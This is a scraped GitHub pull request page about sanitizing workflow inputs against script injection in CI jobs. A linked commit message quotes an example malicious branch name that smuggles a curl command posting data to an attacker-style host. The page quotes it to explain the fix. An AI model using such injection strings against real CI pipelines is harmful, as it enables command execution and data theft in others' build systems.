[SINT-2273] update workflow steps #7579
Merged
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ikraemer-dd
force-pushed
the
ikraemer/workflow-sanitization
branch
from
829f5e1 to
91f78e3
Compare
github-actions
bot
added
the
area:builds
ikraemer-dd
changed the title
juliendoutre
approved these changes
Sep 29, 2025
bouwkast
requested changes
Sep 29, 2025
ikraemer-dd
force-pushed
the
ikraemer/workflow-sanitization
branch
from
91f78e3 to
91a8a5e
Compare
bouwkast
pushed a commit
that referenced
this pull request
Sep 30, 2025
## Summary of changes Follow-up of #7579 ## Reason for change `upload_container_images.upload` job is executed for PR (with a specific label). An attacker can create a PR with a carefully branch name that can result in command injection. Such a branch name can be `test\",\"malicious\":\"$(curl -X POST https://attacker.com/steal-data)\"` ## Implementation details ## Test coverage ## Other details <!-- Fixes #{issue} --> <!--⚠️ Note: Where possible, please obtain 2 approvals prior to merging. Unless CODEOWNERS specifies otherwise, for external teams it is typically best to have one review from a team member, and one review from apm-dotnet. Trivial changes do not require 2 reviews. MergeQueue is NOT enabled in this repository. If you have write access to the repo, the PR has 1-2 approvals (see above), and all of the required checks have passed, you can use the Squash and Merge button to merge the PR. If you don't have write access, or you need help, reach out in the #apm-dotnet channel in Slack. -->
ikraemer-dd
added a commit
that referenced
this pull request
Oct 1, 2025
This reverts commit a4a4ce0.
ikraemer-dd
added a commit
that referenced
this pull request
Oct 2, 2025
## Summary of changes Follow-up of #7579 The method used in this PR is documented here https://docs.github.com/en/actions/reference/security/secure-use#understanding-the-risk-of-script-injections and is a safer way to mitigate possible injections.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Summary of changes
Update
delete-pr-imageworkflow to only run on sanitized inputs.Reason for change
Implementation details
Test coverage
Other details